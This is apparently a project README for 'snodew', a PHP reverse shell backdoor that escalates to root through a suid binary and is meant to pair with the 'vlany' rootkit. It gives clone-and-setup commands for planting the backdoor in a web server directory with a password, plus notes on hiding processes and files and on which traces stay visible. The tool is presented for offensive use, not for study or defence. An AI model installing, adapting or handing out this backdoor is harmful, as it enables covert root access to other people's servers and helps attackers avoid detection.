snodew's Introduction

snodew

snodew is a PHP reverse shell backdoor which uses a small suid binary to escalate privileges on connection

snodew is made mainly to work alongside vlany but can also be setup as a regular root backdoor

usage

git clone https://github.com/mempodippy/snodew.git
cd snodew/
./setup.sh [install dir] [password] [hidden extended attribute] [magic gid]

example usage for regular (non-vlany infected) systems

cd /tmp
git clone https://github.com/mempodippy/snodew.git
cd snodew/
./setup.sh /var/www/html/blog sexlovegod X 0 # 'X' and '0' since extended attribute doesn't really matter,
                                             # and our suid binary will set our gid to 0

Result of successful setup

Result after following instructions given on our new page

notes

requires a web service to be running on the box (along with php support for the service package)
sh process spawned from service user is visible, though this could be subverted by checking /proc/self/cmdline and hiding the process if it contains the hidden suid bin
if not being used alongside some kind of rootkit, everything you do is visible
it's only a reverse shell
when vlany is installed, simply su'ing to the service user won't allow them to see the files. vlany checks to see if an apache environment variable is also exported before giving access to the file, and does the same for nginx so that - by default - the file can only be accessed from a browser or from an owner shell
exporting the apache environment variable that vlany checks, after su'ing to the service user will circumvent this
suid possibly disabled
not using 'exit' to exit the shell will leave the process spawned by the service in process lists (ps, top etc)

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